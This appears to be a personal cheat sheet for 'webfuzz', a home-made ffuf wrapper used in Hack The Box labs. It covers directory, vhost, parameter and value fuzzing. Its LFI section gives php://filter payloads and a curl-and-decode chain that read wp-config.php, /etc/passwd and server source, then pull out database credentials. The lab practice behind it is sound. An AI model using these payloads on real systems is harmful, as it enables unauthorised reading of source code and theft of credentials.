webfuzz.md (11405B)
1 --- 2 title: "webfuzz" 3 description: "brew install ffuf" 4 category: tools 5 tags: ["tools"] 6 tools: ["ffuf", "Gobuster"] 7 difficulty: intermediate 8 updated: "2026-08-10" 9 source: "vault:Tools/webfuzz.md" 10 --- 11 # Requirements: ffuf, python3, curl (all present on the working box). SecLists optional. 12 brew install ffuf 13 14 # System-wide, no sudo (already done, and ~/.local/bin is first on PATH) 15 ln -sf "/Volumes/bmdrbeKUVgvV/Cybersecurity/Code/webfuzz/webfuzz.py" ~/.local/bin/webfuzz 16 17 # System-wide in /usr/local/bin (needs sudo, that dir is root-owned) 18 sudo ln -sf "/Volumes/bmdrbeKUVgvV/Cybersecurity/Code/webfuzz/webfuzz.py" /usr/local/bin/webfuzz 19 20 # Point at a real SecLists install for full-size wordlists (add to ~/.zshrc) 21 export WEBFUZZ_SECLISTS="$HOME/tools/SecLists" 22 23 webfuzz -h # sanity check 24 ``` 25 26 > [!warning]+ Vault-mounted caveat 27 > 1. The tool lives on the Cryptomator vault, so the symlink only resolves while that vault is **mounted**. 28 > 2. To use it even when the vault is locked, copy the `webfuzz/` folder to somewhere permanent (e.g. `~/tools/webfuzz`) and repoint the symlink there. 29 > 3. *The script resolves its own real path, so a symlink still finds its bundled wordlists.* 30 31 --- 32 33 ## Modes overview 34 35 | Mode | Fuzzes | Minimal command | 36 |---|---|---| 37 | `dir` | directories `URL/FUZZ` | `webfuzz dir -u http://t/` | 38 | `page` | page names `URL/FUZZ.php` | `webfuzz page -u http://t/blog/` | 39 | `ext` | extensions `URLFUZZ` | `webfuzz ext -u http://t/blog/index` | 40 | `recurse` | dirs recursively (+`.php`, `-v`) | `webfuzz recurse -u http://t/` | 41 | `dns` | public sub-domains `FUZZ.domain` | `webfuzz dns -d inlanefreight.com --scheme https` | 42 | `vhost` | `Host: FUZZ.domain` (auto `-fs`) | `webfuzz vhost -u http://IP/ -d domain` | 43 | `getparam` | GET param names `?FUZZ=key` | `webfuzz getparam -u http://t/a.php` | 44 | `postparam` | POST param names `-d FUZZ=key` | `webfuzz postparam -u http://t/a.php` | 45 | `value` | a param's value `id=FUZZ` | `webfuzz value -u http://t/a.php -p id --range 1-1000` | 46 | `lfi` | filenames via `php://filter` + decode | `webfuzz lfi -u 'http://t/nav.php?page=FUZZ' --resource /var/www/html/` | 47 48 --- 49 50 ## Content discovery 51 52 ```bash 53 # Directories: URL/FUZZ 54 webfuzz dir -u http://10.10.10.10/ 55 56 # Page names under a directory: /blog/FUZZ.php (change ext with --ext) 57 webfuzz page -u http://10.10.10.10/blog/ --ext php 58 59 # Extensions on a known file: /blog/indexFUZZ 60 webfuzz ext -u http://10.10.10.10/blog/index 61 62 # Recursive dirs, auto-adds -e .php and -v so you see which file is where 63 webfuzz recurse -u http://10.10.10.10/ --depth 1 64 65 # Add extensions / recursion to any dir run yourself 66 webfuzz dir -u http://10.10.10.10/ -e .php,.txt,.html -R --depth 2 67 ``` 68 69 > [!info]+ ffuf equivalent 70 > `webfuzz dir -u http://t/` becomes 71 > `ffuf -w <list>:FUZZ -u http://t/FUZZ -ic -c` (plus an auto `-fs` only if the server soft-404s). 72 73 --- 74 75 ## Sub-domains and VHosts 76 77 ```bash 78 # Public sub-domains via real DNS (note: public academy example uses https) 79 webfuzz dns -d inlanefreight.com --scheme https 80 81 # VHosts on one IP via Host-header fuzzing — auto-calibrates -fs for you 82 webfuzz vhost -u http://10.129.203.101/ -d inlanefreight.local 83 84 # Your original manual command, one-lined and auto-filtered: 85 webfuzz vhost -u http://10.129.203.101/ -d inlanefreight.local -w namelist.txt 86 ``` 87 88 > [!example]+ What the vhost auto-`-fs` replaces 89 > The raw command you used to type: 90 > ```bash 91 > ffuf -w namelist.txt:FUZZ -u http://10.129.203.101/ -H 'Host:FUZZ.inlanefreight.local' -fs 15157 92 > ``` 93 > With webfuzz, the `-fs 15157` is discovered automatically by probing a couple of random `*.inlanefreight.local` hosts. Pass `--fs 15157` yourself to skip calibration, or `--no-auto` to disable it. 94 95 --- 96 97 ## Parameter and value fuzzing 98 99 ```bash 100 # GET parameter NAME: /admin/admin.php?FUZZ=key 101 webfuzz getparam -u http://admin.academy.htb:PORT/admin/admin.php 102 103 # POST parameter NAME: -d 'FUZZ=key' with urlencoded content-type 104 webfuzz postparam -u http://admin.academy.htb:PORT/admin/admin.php 105 106 # VALUE of a known parameter, numeric range wordlist generated on the fly 107 webfuzz value -u http://admin.academy.htb:PORT/admin/admin.php -p id --range 1-1000 108 109 # VALUE fuzzing over GET instead of POST, with a custom wordlist 110 webfuzz value -u http://t/a.php -p user --method GET -w /path/users.txt 111 ``` 112 113 > [!info]+ Command Breakdown 114 > 1. **`--value`** (getparam/postparam) sets the placeholder value sent with each fuzzed name; default is `key`. 115 > 2. **`-p / --param`** (value mode) is the fixed parameter name whose value you are brute-forcing. 116 > 3. **`--range A-B`** writes a numeric wordlist `A..B` to `webfuzz-out/` and uses it — the classic `for i in $(seq 1 1000)` trick, built in. 117 > 4. All three auto-calibrate `-fs` from a random-parameter/value baseline, so the default "invalid" response is filtered automatically. 118 119 --- 120 121 ## PHP-filter base64 LFI (the Dante trick) 122 123 ```bash 124 # One command: wrap, match PHP source, then auto curl + base64 -d every hit 125 webfuzz lfi -u 'http://172.16.1.10/nav.php?page=FUZZ' --resource /var/www/html/wordpress/ 126 ``` 127 128 > [!success]+ What this automates 129 > 1. Rewrites `FUZZ` into `php://filter/read=convert.base64-encode/resource=/var/www/html/wordpress/FUZZ`. 130 > 2. Adds `-mc all -mr PD9waH -fs 0` — `PD9waH` is base64 for `<?ph`, so only **real PHP source** matches and empty responses are dropped. 131 > 3. For every hit it `curl`s the URL, base64-decodes it, and saves the source to `webfuzz-out/decoded/`. 132 > 4. Scans the decoded files and prints any **URLs** and **DB creds / secrets** — i.e. the URL you are hunting for pops out on its own. 133 134 > [!example]+ The raw commands it replaces (straight from the Dante notes) 135 > ```bash 136 > ffuf -w raft-medium-files.txt:FUZZ \ 137 > -u "http://172.16.1.10/nav.php?page=php://filter/read=convert.base64-encode/resource=/var/www/html/wordpress/FUZZ" \ 138 > -mr "PD9waH" -fs 0 139 > curl -s "http://172.16.1.10/nav.php?page=php://filter/read=convert.base64-encode/resource=/var/www/html/wordpress/wp-config.php" | base64 -d 140 > ``` 141 142 ```bash 143 # Already wrote the full php://filter payload yourself? Skip the wrapping: 144 webfuzz lfi -u 'http://t/nav.php?page=php://filter/read=convert.base64-encode/resource=/etc/passwdFUZZ' --no-wrap 145 146 # Read non-PHP files too (drops the PHP-only matcher, keeps -fs 0) 147 webfuzz lfi -u 'http://t/nav.php?page=FUZZ' --resource /etc/ --all 148 149 # Use the rot13 filter instead of base64 150 webfuzz lfi -u 'http://t/nav.php?page=FUZZ' --resource /var/www/ --conv rot13 151 152 # Find the files but decode them yourself later 153 webfuzz lfi -u 'http://t/nav.php?page=FUZZ' --resource /var/www/ --no-decode 154 ``` 155 156 --- 157 158 ## Common flags `fas:Screwdriver` 159 160 | Flag | Meaning | 161 |---|---| 162 | `--dry-run` | print the ffuf command, do not run it | 163 | `-w LIST` | wordlist: path, bundled name, or SecLists basename | 164 | `-t 200` | threads (default 40) · `--rate N` cap requests/sec | 165 | `-H 'X: Y'` | extra header (repeatable) · `-b 'a=b'` cookie · `-x URL` proxy | 166 | `-k` | ignore TLS cert errors (lab self-signed) | 167 | `-r` | follow redirects · `-e .php,.html` extensions | 168 | `-R --depth N` | recursion + depth | 169 | `--scheme https` | scheme when built from a domain · `--port N` inject a port | 170 | `--fs/--fc/--fw/--fl` `--mc/--mr/--ms/--mw/--ml` | pass any ffuf matcher/filter through (also disables auto `-fs`) | 171 | `--no-auto` | turn off webfuzz's automatic `-fs` calibration | 172 | `-A / --ac` | use ffuf's native `-ac` instead of webfuzz's baseline | 173 | `-o FILE` `--outdir DIR` | JSON output path / loot dir (default `./webfuzz-out`) | 174 | `-v` | verbose (full URLs) · `--no-color` plain output | 175 176 > [!info]+ Output 177 > 1. Live ffuf output plus a clean hit summary. 178 > 2. Machine-readable results at `webfuzz-out/<mode>-<timestamp>.json`. 179 > 3. LFI loot (decoded source) at `webfuzz-out/decoded/`. 180 181 --- 182 183 ## HTB module walkthrough, in order `fas:ClipboardList` 184 185 ```bash 186 # 1. directories, recursively, with .php in one shot 187 webfuzz recurse -u http://SERVER_IP:PORT/ 188 189 # 2. which extension does /blog use? 190 webfuzz ext -u http://SERVER_IP:PORT/blog/index 191 192 # 3. pages under /blog 193 webfuzz page -u http://SERVER_IP:PORT/blog/ --ext php 194 195 # 4. public sub-domains 196 webfuzz dns -d inlanefreight.com --scheme https 197 198 # 5. non-public vhosts on the same IP (auto -fs), then add admin.academy.htb to /etc/hosts 199 webfuzz vhost -u http://academy.htb:PORT/ -d academy.htb 200 201 # 6. find a working parameter (POST) 202 webfuzz postparam -u http://admin.academy.htb:PORT/admin/admin.php 203 204 # 7. brute the value of that parameter 205 webfuzz value -u http://admin.academy.htb:PORT/admin/admin.php -p id --range 1-1000 206 ``` 207 208 --- 209 210 ## Try it offline (no target) 211 212 ```bash 213 cd /Volumes/bmdrbeKUVgvV/Cybersecurity/Code/webfuzz/.selftest 214 python3 server.py 8099 & 215 webfuzz vhost -u http://127.0.0.1:8099/ -d inlanefreight.local # finds admin 216 webfuzz value -u http://127.0.0.1:8099/admin/admin.php -p id --range 1-100 # finds 42 217 webfuzz lfi -u 'http://127.0.0.1:8099/nav.php?page=FUZZ' --resource /var/www/html/wordpress/ 218 kill %1 219 ``` 220 221 --- 222 223 ## Troubleshooting `fas:CircleXmark` 224 225 | Symptom | Cause | Fix | 226 |---|---|---| 227 | `wordlist not found: namelist.txt` | not in the current directory | `cd` to where the list is, or pass a full path to `-w` | 228 | Flooded with 200s in `vhost` | server returns the same page for every host and calibration missed it | pass `--fs <size>` manually, or use `-A` | 229 | Real dirs missing in `dir` | over-filtering on a soft-404 server | check the "auto-filtering with -fs" line; rerun with `--no-auto` or a manual `--fc` | 230 | `lfi` finds nothing | wrong `--resource` base path, or files are not PHP | verify the path, try `--all`, or a bigger `-w` list | 231 | `SecLists not found` warning | not installed / not discovered | set `WEBFUZZ_SECLISTS`, or ignore it and use the bundled lists | 232 | TLS errors on https lab box | self-signed cert | add `-k` | 233 | `webfuzz: command not found` | vault unmounted or symlink missing | remount the vault, or recreate the `~/.local/bin/webfuzz` symlink | 234 235 --- 236 237 ## Lessons Learned `fas:Lightbulb` 238 239 1. **`--dry-run` first when unsure.** It shows the exact ffuf line, which is both a learning aid and the thing you paste into a report. 240 2. **Let it calibrate `-fs`.** The auto-filter only triggers on catch-all servers, so leaving it on costs three requests and saves the manual size-hunting that made ffuf annoying. 241 3. **`vhost` needs a size filter, `dir` usually does not.** Wrong vhosts return the default site (a real 200), so size is the only discriminator; normal dir fuzzing already filters on the 404 status. 242 4. **`lfi` is the payoff.** The `php://filter` + `PD9waH` + auto base64-decode chain reads server-side source and surfaces the hidden URL/creds without a single manual `curl | base64 -d`. 243 5. **Anything after the known flags is raw ffuf.** When you need a knob the wrapper does not expose, just append it. 244 245 --- 246 247 ## References `fas:BookOpen` 248 249 1. [ffuf on GitHub](https://github.com/ffuf/ffuf) 250 2. [ffuf wiki](https://github.com/ffuf/ffuf/wiki) 251 3. [SecLists](https://github.com/danielmiessler/SecLists) 252 4. [PayloadsAllTheThings — File Inclusion / LFI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion) 253 5. [PHP php://filter wrapper](https://www.php.net/manual/en/wrappers.php.php) 254 6. HTB Academy — *Attacking Web Applications with Ffuf* 255 7. Related: ffuf_cheat_sheet · gobuster · LFI - Cheat Sheet 256 257 --- 258 259 #Tools #webfuzz #ffuf #WebFuzzing #Enumeration #LFI #VHost #Cheatsheet